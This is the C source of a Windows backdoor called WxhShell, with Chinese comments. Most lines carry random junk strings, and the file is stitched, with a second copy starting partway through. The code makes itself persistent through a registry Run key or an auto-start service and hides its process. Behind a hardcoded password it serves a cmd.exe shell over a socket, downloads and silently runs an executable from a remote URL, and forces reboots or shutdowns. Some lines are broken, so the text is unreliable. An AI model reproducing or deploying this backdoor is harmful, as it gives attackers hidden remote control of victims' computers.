    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mV>l`&K=  
    if(Boot(SHUTDOWN)) gDN7ly]6M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %3%bRP  
    else { rtSG- _[i  
    closesocket(wsh); b#%$y  
    ExitThread(0); F>F2Yql&W  
    } B3^F $6=  
    break; kuq&8f~!  
    } Tv[| ^G9x  
  // 获取shell ?td`*n~,  
  case 's': { QjlQsN!  
    CmdShell(wsh); vZiuElxKi  
    closesocket(wsh); n 9>**&5L  
    ExitThread(0); AAXlBY6Y-  
    break; wo+ b":  
  } m{gw:69h  
  // 退出 wPE\?en  
  case 'x': { \; voBU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .vnQZ*6  
    CloseIt(wsh); !kxJ&VmeF  
    break; f&L3M)T  
    } Z g.La<#  
  // 离开 WR"?j 9y_q  
  case 'q': { rD;R9b"J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a$=He   
    closesocket(wsh); \1He9~6  
    WSACleanup(); :Ahw{z`H#  
    exit(1); 'NNfzh  
    break; ["_+~*  
        } <nk9IAH  
  } 4%$#   
  } F{G.dXZZ<  
0z$::p$%u  
  // 提示信息 ym8pB7E7%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6b1AIs8  
} N mA6L+  
  } $(]E$ek  
N(l  
  return; der\"?_.  
} `F$lO2#k  
onU\[VvM  
// shell模块句柄 Aw]kQ\P&  
int CmdShell(SOCKET sock) Ys0N+  
{ @R_ON"h  
STARTUPINFO si; FN/siw(?3  
ZeroMemory(&si,sizeof(si)); x }@P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZY|$[>X!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7NRm\%^q  
PROCESS_INFORMATION ProcessInfo; 4-?zW  
char cmdline[]="cmd";  u]OYu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8shx7"  
  return 0; +1]A$|qyW  
} j}O7fLRu  
'!F'B:  
// 自身启动模式 z?@N+||,.  
int StartFromService(void) (<}BlL   
{ ffMk.SqI  
typedef struct @R Jr ~y0  
{ CK#i 6!~r  
  DWORD ExitStatus;  R;zf x/  
  DWORD PebBaseAddress; IgN^~ag`  
  DWORD AffinityMask; &O5O@3:7]  
  DWORD BasePriority; L_tjclk0J  
  ULONG UniqueProcessId; [V_+/[AA)  
  ULONG InheritedFromUniqueProcessId; } ,@ex  
}   PROCESS_BASIC_INFORMATION; fDRG+/q(+  
F5y&"Y_  
PROCNTQSIP NtQueryInformationProcess; 6 ZAZJn|  
PQ{5*}$N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ciy%7_~\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q+} \ (|  
=!G{+&j  
  HANDLE             hProcess; \mL]xE-  
  PROCESS_BASIC_INFORMATION pbi; ~e&O?X  
?./%7v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~9PZ/( '  
  if(NULL == hInst ) return 0; pekNBq Wm  
?AH B\S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l.P;85/+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IL1iTR H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4hxa|f  
iuA_ Jr  
  if (!NtQueryInformationProcess) return 0; <I#M^}`  
+`iJ+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \XO'7bNu-  
  if(!hProcess) return 0; )}P/xY0  
Dr76+9'i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JLt%G^W >  
^X?uAX-RP|  
  CloseHandle(hProcess); :5F(,Z_  
l"7#(a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;XQ27,K&  
if(hProcess==NULL) return 0; !zsrORF{  
kZ PL$ \/A  
HMODULE hMod; CvR-lKV<  
char procName[255]; %@:6&  
unsigned long cbNeeded; =\ k:]  
?\)h2oi!F5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~N2=44e  
t .}];IJP  
  CloseHandle(hProcess); 2liJ^ `  
gm%cAme  
if(strstr(procName,"services")) return 1; // 以服务启动  <k0/O  
[RF]lM]w  
  return 0; // 注册表启动 |?]doBm|  
} t 4VeXp6  
1=,y +Xpw  
// 主模块 7#c4.9b?  
int StartWxhshell(LPSTR lpCmdLine) WEJ-K<A(  
{ !iq|sXs  
  SOCKET wsl; E *IP#:R  
BOOL val=TRUE; =ZO lE|4  
  int port=0; ]1pB7XL  
  struct sockaddr_in door; $$uMu{?0i  
M%Ksyr9  
  if(wscfg.ws_autoins) Install(); t-5 Y,}j  
S;y4Z:!  
port=atoi(lpCmdLine); E [6:}z<  
6^!fuIZ;_  
if(port<=0) port=wscfg.ws_port; C,A/29R,s  
c-v-U O%  
  WSADATA data; RehraY3q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B=$O4nW_b  
?20R\ ]U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $7ix(WL<%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lD, ~%  
  door.sin_family = AF_INET; =LODX29  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I!Z"X&  
  door.sin_port = htons(port); i(OeE"YA  
6B%  h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G%, RD}D  
closesocket(wsl); z [ 'G"yCi  
return 1; $PI9vyS  
} YRCs&tgs  
mU~&oU  
  if(listen(wsl,2) == INVALID_SOCKET) { n I&p.i6  
closesocket(wsl); ,tcUJ}l  
return 1; 89;@#9  
} (KwC,0p  
  Wxhshell(wsl); =Xg/[J%  
  WSACleanup(); 0:>hK\F#  
X:I2wJDs\  
return 0;  jr_z ?  
hF$qH^-c*A  
} <hj2'd U  
GmaNi  
// 以NT服务方式启动 [0hahR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Lr 5{c5M  
{ <,rOsE6  
DWORD   status = 0; O`@- b#  
  DWORD   specificError = 0xfffffff; ggiy{CdR  
oP9 y@U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?Pp*BB,*y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IVkB)9IW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pf107S  
  serviceStatus.dwWin32ExitCode     = 0; ]@b9m  
  serviceStatus.dwServiceSpecificExitCode = 0; ,[t? $Cy ;  
  serviceStatus.dwCheckPoint       = 0; c{_JPy  
  serviceStatus.dwWaitHint       = 0; \@WVeFr  
dS3\P5D.*c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /PeT4hW}  
  if (hServiceStatusHandle==0) return; eU@Mv5&6  
5 7t.Ud  
status = GetLastError(); V=dOeuYd  
  if (status!=NO_ERROR) g2m* Q%  
{ 0 p ?AL=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lux g1>  
    serviceStatus.dwCheckPoint       = 0; Eu:/U*j  
    serviceStatus.dwWaitHint       = 0; C}pm>(F~  
    serviceStatus.dwWin32ExitCode     = status; <R;wa@a>  
    serviceStatus.dwServiceSpecificExitCode = specificError; M?UUT8,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'j<u0'K@  
    return; <n06(9BF  
  } ooUVVp  
IsE3-X|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GCq4{_B\Q  
  serviceStatus.dwCheckPoint       = 0; *d;TpwUI  
  serviceStatus.dwWaitHint       = 0; vdAd@Z~\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z\EA!Cs3  
} 8cG`We8l&  
q(:L8nKT]  
// 处理NT服务事件,比如:启动、停止 \U]K!K=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A8{ xZsH  
{ LUId<We  
switch(fdwControl) [}ja \!P  
{  +:-xV  
case SERVICE_CONTROL_STOP: WV.hQX9P  
  serviceStatus.dwWin32ExitCode = 0; $/D?Vw:]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NytTyk)  
  serviceStatus.dwCheckPoint   = 0; T|wz%P<J  
  serviceStatus.dwWaitHint     = 0; h !K" ;qw  
  { n#b{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5;HGS{`  
  } v-d"dC`  
  return; SFd_k9  
case SERVICE_CONTROL_PAUSE: ){w{#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gqy>;A:kO  
  break; fc8ODk*;E  
case SERVICE_CONTROL_CONTINUE: 1' U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *2->>"kh  
  break; * 7Ov.v%  
case SERVICE_CONTROL_INTERROGATE: 2=n`z) R  
  break; 3PZ(Kn<  
}; 1h?ve,$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1x;@BV  
} Ca5#'3Eh  
>Ti%Th,  
// 标准应用程序主函数 <tF q^qB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (,#m+  
{ a;Y:UwD9*  
&RARK8 ^  
// 获取操作系统版本 xS tsw5d  
OsIsNt=GetOsVer(); 9QXsbd6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T?m@`"L,  
qz]qG=wmL  
  // 从命令行安装 X+N5iT  
  if(strpbrk(lpCmdLine,"iI")) Install(); GZu12\0nZ  
eG!ma`v  
  // 下载执行文件  ^AaE$G&:  
if(wscfg.ws_downexe) { *)-@'{]uB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 452kE@=49  
  WinExec(wscfg.ws_filenam,SW_HIDE); LdG?kbJ&y  
} qX5>[qf-  
[YULvWAJ  
if(!OsIsNt) { H Eq{TUTr  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;9mRumLG"  
HideProc(); 1g{}O^ul  
StartWxhshell(lpCmdLine); C 8wGbU6`  
} vw;a L#PP  
else c,.@Cc2  
  if(StartFromService()) G6zFQ\&f  
  // 以服务方式启动 j;@a~bks6z  
  StartServiceCtrlDispatcher(DispatchTable); heou\;GI"  
else +5*bU1}O  
  // 普通方式启动 fEXFnQ#  
  StartWxhshell(lpCmdLine); mz6]=]1w  
RVttk )Ny  
return 0; TG$ #aX\'  
} >"b W'  
 yP+<kv4  
<ytzGDx  
zhs @ YMY  
=========================================== 5H XF3  
vRC >=y*=  
&lSNI5l  
,4t6Cq!  
c.Hw K\IU  
?# FYF\P  
" `i cs2po  
$Bz};@  
#include <stdio.h> XH~(=^/_  
#include <string.h>  4bA^Gq  
#include <windows.h> /7#e  
#include <winsock2.h> T^|k`  
#include <winsvc.h> AaA!U!B  
#include <urlmon.h> "NLuAB. P  
Hq:: F?  
#pragma comment (lib, "Ws2_32.lib") o}:x-Y  
#pragma comment (lib, "urlmon.lib") dV38-IfGkl  
"[?DS  
#define MAX_USER   100 // 最大客户端连接数 AJEbiP  
#define BUF_SOCK   200 // sock buffer igA?E56?  
#define KEY_BUFF   255 // 输入 buffer dB6 ,pY(  
02t({>`  
#define REBOOT     0   // 重启 hxMRmH[f:  
#define SHUTDOWN   1   // 关机 TYGI f4z  
56<UxIa~  
#define DEF_PORT   5000 // 监听端口 tdxzs_V,-  
;hDk gp  
#define REG_LEN     16   // 注册表键长度 uxD3+Q  
#define SVC_LEN     80   // NT服务名长度 uPl}NEwU|  
f^1J_}cL  
// 从dll定义API &Ril[siw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bl a`B=r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7>gjq'0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mW'3yM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6H'A]0  
r+C4<-dT  
// wxhshell配置信息 z8t;jw  
struct WSCFG { Fnak:R0  
  int ws_port;         // 监听端口 pZ|{p{_j  
  char ws_passstr[REG_LEN]; // 口令 3JQ7Cc>  
  int ws_autoins;       // 安装标记, 1=yes 0=no xtP:Q9!N  
  char ws_regname[REG_LEN]; // 注册表键名 zw15r" R  
  char ws_svcname[REG_LEN]; // 服务名 ' 4i8&p`/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Cwls e-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uOzoE_i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G8+&fn6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G3^<l0?S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >eG<N@13p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v2rO>NY4  
$aJ6i7C,j}  
}; L$_%T  
3f^Pr  
// default Wxhshell configuration \h=*pAf  
struct WSCFG wscfg={DEF_PORT, \OkZ\!<hg  
    "xuhuanlingzhe", |E?r+]  
    1, <">epbV6  
    "Wxhshell", C3W4:kbau  
    "Wxhshell", kR97 )}Y  
            "WxhShell Service", dX/7n=  
    "Wrsky Windows CmdShell Service", zJy=1r  
    "Please Input Your Password: ", YdO*5Gb6  
  1, tWy.Gz\  
  "http://www.wrsky.com/wxhshell.exe", pt.V^a  
  "Wxhshell.exe" [nig^8  
    }; <(>t"<  
9.\SeJ8c  
// 消息定义模块 VrPsy) J68  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p*0[:/4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WC<[<uI*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W=^.s>7G  
char *msg_ws_ext="\n\rExit."; wl]3g  
char *msg_ws_end="\n\rQuit."; _"Bj`5S  
char *msg_ws_boot="\n\rReboot..."; M#o.O?.`  
char *msg_ws_poff="\n\rShutdown..."; nQOdM#dP  
char *msg_ws_down="\n\rSave to "; 1!(lpp  
Cs>`f, o  
char *msg_ws_err="\n\rErr!"; Sk 7R;A  
char *msg_ws_ok="\n\rOK!"; -)(=~|,Pq/  
~|S0E:*.  
char ExeFile[MAX_PATH]; J$yq#LBbR@  
int nUser = 0; G-)e(u   
HANDLE handles[MAX_USER]; K0( S%v|,}  
int OsIsNt; _-({MX[3k<  
kQbZ!yl>[  
SERVICE_STATUS       serviceStatus; 7s6+I_n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ed u(dZbKg  
{ DP9^hg  
// 函数声明 WlQCPC  
int Install(void); nC,QvV  
int Uninstall(void); Hj r'C?[  
int DownloadFile(char *sURL, SOCKET wsh); =QVkY7  
int Boot(int flag); 6:|;O  
void HideProc(void); 'k\j[fk/K  
int GetOsVer(void); ?&wrz  
int Wxhshell(SOCKET wsl); &P9fM-]b s  
void TalkWithClient(void *cs); kll!tT-N-  
int CmdShell(SOCKET sock); $Ah p4oiE  
int StartFromService(void); KJQ8Yhq  
int StartWxhshell(LPSTR lpCmdLine);  Ll; v[Y  
9pnOAM}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %Ve@DF8G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nu+K N,3R"  
/xJD/"Y3&  
// 数据结构和表定义 VB*c1i  
SERVICE_TABLE_ENTRY DispatchTable[] =  4 Pc-A  
{ wJ2cAX;"  
{wscfg.ws_svcname, NTServiceMain}, G?$o+Y'F  
{NULL, NULL} ^L $`)Ja  
}; VnW6$W?g  
YSGE@  
// 自我安装 hQx*#:ns  
int Install(void) ben-<3r  
{ +Xw%X3o)  
  char svExeFile[MAX_PATH]; >&;J/ME  
  HKEY key; ]'Eg2(wy  
  strcpy(svExeFile,ExeFile); zGU MH7 M  
~*1>)P8]#  
// 如果是win9x系统,修改注册表设为自启动 iT==aJ=~/&  
if(!OsIsNt) { V WZpEi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2o<*rH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I"czo9Yspd  
  RegCloseKey(key); W8^A{l4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ho{%7\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); neM)(` gp  
  RegCloseKey(key); G 0pq'7B  
  return 0; :Y/aT[  
    } H(.9tuA  
  } udUc&pX  
} El9T>!Z  
else { 5r 4~vK  
7I w^  
// 如果是NT以上系统,安装为系统服务 #sCR}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?P[:,0_  
if (schSCManager!=0) q-Z<.GTq  
{ m-uXQS^@G  
  SC_HANDLE schService = CreateService DDkN3\w  
  ( 1(Vv-bq$  
  schSCManager, I= :yfW  
  wscfg.ws_svcname, wX)'1H):T  
  wscfg.ws_svcdisp, zNo,PERG  
  SERVICE_ALL_ACCESS, V.`hk^V,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J&\Q3_vro9  
  SERVICE_AUTO_START, \wz^Z{U  
  SERVICE_ERROR_NORMAL, IQ\!wWKmY  
  svExeFile, ^}$t(t  
  NULL, >4wigc  
  NULL, iWjNK"W  
  NULL, f91]0B `C  
  NULL, >mA]2gV<a  
  NULL Y<W9LF  
  ); Bv~^keuj3t  
  if (schService!=0) ,X_3#!y  
  { Te}gmt+#%  
  CloseServiceHandle(schService); 16Ka>=G  
  CloseServiceHandle(schSCManager); Fu{VO~w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); geK;r0(f  
  strcat(svExeFile,wscfg.ws_svcname); !%R):^R8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -'miM ~kG[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %_:L_VD@  
  RegCloseKey(key); 19GF%+L ,  
  return 0; <$?#P#A  
    } sT1OAK\^  
  } 83vZRQw  
  CloseServiceHandle(schSCManager); .CEC g*f  
} I_f%%N%  
} Zex~ $r  
g0biw?  
return 1; fsOlg9  
} PtuRXx  
31^/9lb  
// 自我卸载 90+Vw`Gz=  
int Uninstall(void) /'{vDxZf R  
{  j7_,V?5z  
  HKEY key; > )Qq^?U  
66>X$nx(z  
if(!OsIsNt) { Nt\07*`qCr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -]KgLgJ  
  RegDeleteValue(key,wscfg.ws_regname); 4Wz1O$*  
  RegCloseKey(key); V#,|#2otZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,Zie2I?q  
  RegDeleteValue(key,wscfg.ws_regname); *j83E[(]  
  RegCloseKey(key); :1f,%Z$,q  
  return 0; r:o9:w:  
  } E^n!h06~G  
} @dK_w 'W  
} ]v:,<=S  
else { TVvE0y(9  
'g<{l&u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [r 7Hcb  
if (schSCManager!=0) .6[8$8c  
{ .sit5BX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nl2Lqu1  
  if (schService!=0) t5l<Lm)  
  { #"A`:bjG  
  if(DeleteService(schService)!=0) { 5);"()g32  
  CloseServiceHandle(schService); IW n G@!  
  CloseServiceHandle(schSCManager); iDDq<a.A  
  return 0; >j]Gz-wC  
  } tC1'IE-h  
  CloseServiceHandle(schService); 4 w*m]D{  
  } 2IHS)kkT|  
  CloseServiceHandle(schSCManager); 0K"+u9D^  
} ecl6>PS$'  
} M1P;x._n  
cyd_xB5K  
return 1; A#q.)8  
} ^WWr8-  
s +S6'g--  
// 从指定url下载文件 >9nVR  
int DownloadFile(char *sURL, SOCKET wsh) of7'?]w  
{ &Pv$nMB$I  
  HRESULT hr; ^K[xVB(&  
char seps[]= "/"; A-vYy1,'  
char *token; K;THYMp/[  
char *file; s0_HMP x  
char myURL[MAX_PATH]; W1o6Sh8v(  
char myFILE[MAX_PATH]; KpG'E  
cJm},  
strcpy(myURL,sURL); (`Y;U(n  
  token=strtok(myURL,seps); !2B~.!&   
  while(token!=NULL) A ][ ;v  
  { l8M}82_  
    file=token; dc emF  
  token=strtok(NULL,seps); 7{"F%`7L  
  } Z{ YuX  
#l) o<Z  
GetCurrentDirectory(MAX_PATH,myFILE); wk'(g_DP  
strcat(myFILE, "\\"); D)L~vA/8b  
strcat(myFILE, file); jbg9 EtQ!*  
  send(wsh,myFILE,strlen(myFILE),0); 6U|"d[  
send(wsh,"...",3,0); c;29GHs2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #WDpiV7B  
  if(hr==S_OK) ;gaTSYVe  
return 0; -1d$w`  
else KIuj;|!q  
return 1; CO ZfR~}  
JeVbFZ8  
} wuCZz{c7  
y4n~gTo(?  
// 系统电源模块 'q/C: Yo  
int Boot(int flag) ~tNk\Kkv  
{ ~P!=fU)  
  HANDLE hToken; 9-A@2&J1  
  TOKEN_PRIVILEGES tkp; /HqD4GDoug  
.d#Hh&jj  
  if(OsIsNt) { 92,@tNQQ}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (ux9"r^g;x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ga1b%5]v.  
    tkp.PrivilegeCount = 1; ZS3T1 <z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o+^e+ptc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]t17= Lr?  
if(flag==REBOOT) { %0815 5M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dj,lbUL  
  return 0; (7~vOWs:[  
} 7 oYD;li$k  
else { kd p*6ynD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9)b{U2&  
  return 0; ,pZz`B#  
} LBpAR|  
  } \"yR[.Q?   
  else { Ra~:O\Z  
if(flag==REBOOT) { &7,/^ >">  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &$qIJvMiK  
  return 0; ]/R>nT  
} ]YD qmIW  
else { "tK3h3/Xv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) La^Zr,T!  
  return 0; f|!@H><  
} 3U?^49bJ  
} SN QLEe  
l29AC}^  
return 1; ]?jmRk^ .  
} Gv(n2r  
<(qdxdUp  
// win9x进程隐藏模块 e [F33%  
void HideProc(void) Uzn  
{ eLyIQoW  
wDh&S{N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w6B`_Z'f  
  if ( hKernel != NULL ) iVqF]2 >  
  { a}Jy o!.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KA`)dMWL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~vR<UQz  
    FreeLibrary(hKernel); ;ZrFy=Iv  
  } .R^]<b:`  
5'0kf7  
return; i079 V  
}  q,'~=Y5  
Dt]FmU  
// 获取操作系统版本 8wS9%+  
int GetOsVer(void) f K4M:_u  
{ WN#dR~>  
  OSVERSIONINFO winfo; Hp fTuydU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =0U"07%}  
  GetVersionEx(&winfo); |@ZyD$?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jm |zn  
  return 1; Rn whkb&&  
  else y+VR D  
  return 0; ~-(X\:z}  
} ;Y &2G'  
C2%Yry  
// 客户端句柄模块 JAL"On#c#0  
int Wxhshell(SOCKET wsl) l?beqw:  
{ Cmj `WSSa  
  SOCKET wsh; 'ka"0~:NS{  
  struct sockaddr_in client; 9l7 youZ]  
  DWORD myID; Q[Tbdc%1EG  
Nk>6:Ho{G  
  while(nUser<MAX_USER) ZOzyf/?.  
{ rmnnV[@o  
  int nSize=sizeof(client); 5YiBw|Z7 "  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &-Z#+>=H(  
  if(wsh==INVALID_SOCKET) return 1; :Z5kiEwYM  
>LB x\/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h6Hop mWVx  
if(handles[nUser]==0) odq3@ ziO  
  closesocket(wsh); l_=kW!l  
else gem+$TFq  
  nUser++; n<sA?T  
  } h1?.x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -IS?8\ Q<  
n~&e>_;(.  
  return 0; \cq.M/p  
} q/YO5>s15  
.rbKvd?-}  
// 关闭 socket =~QC)y_  
void CloseIt(SOCKET wsh) hB*3Py27L  
{ }Qvoms<k  
closesocket(wsh); wsCT9&p  
nUser--; ok9G9|HA  
ExitThread(0); %6<2~  
}  *FoPs  
A}n5dg0u  
// 客户端请求句柄 AwGDy +  
void TalkWithClient(void *cs) j: B,K.:  
{ 2HvzMo-4  
1^=[k  
  SOCKET wsh=(SOCKET)cs; 4=n%<U`Z/  
  char pwd[SVC_LEN]; 27jZ~Bp$  
  char cmd[KEY_BUFF]; 0 :1ldU 4  
char chr[1]; 12%4>2}~>  
int i,j; `r8bBzr@%  
8 K>Ejr  
  while (nUser < MAX_USER) { ,}42]%$ G  
jLf87  
if(wscfg.ws_passstr) { 15~+Ga4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r;aP`MVO<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &@xeWB  
  //ZeroMemory(pwd,KEY_BUFF); vui{["  
      i=0;  wZUR  
  while(i<SVC_LEN) { l{x?i00tAS  
m4@w M?  
  // 设置超时 &($Zs'X  
  fd_set FdRead; ('px X+  
  struct timeval TimeOut; pDx}~IB  
  FD_ZERO(&FdRead); x@>^c:-f  
  FD_SET(wsh,&FdRead); =Hs~fHa)  
  TimeOut.tv_sec=8; cYEe`?*  
  TimeOut.tv_usec=0; ud.Bzg:/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3#T_(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RJI*ZNb A  
6hm6h7$F1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0=J69Yd  
  pwd=chr[0]; U_,K_6vj  
  if(chr[0]==0xd || chr[0]==0xa) { &U/~*{  
  pwd=0; QCWk[Gx  
  break; cM'5m  
  } =8fZG t  
  i++; dQL! >6a  
    } OG}D;Ew  
QWGFXy,=1  
  // 如果是非法用户,关闭 socket !bCLi>8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &9'JHF!l  
} >(HUW^T/9z  
CSooJ1Ep~'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Iq[,)$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9qQFIw~S  
NeyGIEP  
while(1) { /`Lki>"  
W\<5'9LNb  
  ZeroMemory(cmd,KEY_BUFF); HCifO  
,Pd2ZfZ  
      // 自动支持客户端 telnet标准   [%8+Fa~Wa  
  j=0; Vkb&' rXw+  
  while(j<KEY_BUFF) { ^i^S1h"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j{'@g[HW  
  cmd[j]=chr[0]; gB@Wv9 1  
  if(chr[0]==0xa || chr[0]==0xd) { .tb~f@xL  
  cmd[j]=0; 3,B[%!3d  
  break; I1H:h  
  } <cz~q=%v2&  
  j++; wB( igPi  
    } :PaFC{O)*  
O_PC/=m1@  
  // 下载文件 $mOK|=tI_  
  if(strstr(cmd,"http://")) { g%<7Px[W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {:enoV"  
  if(DownloadFile(cmd,wsh)) ~ +$l9~`{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6dmTv9e  
  else Z@8amT;Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /qL&)24  
  } \9/n~/{  
  else { ;@ d<*  
ZdH WSfO)O  
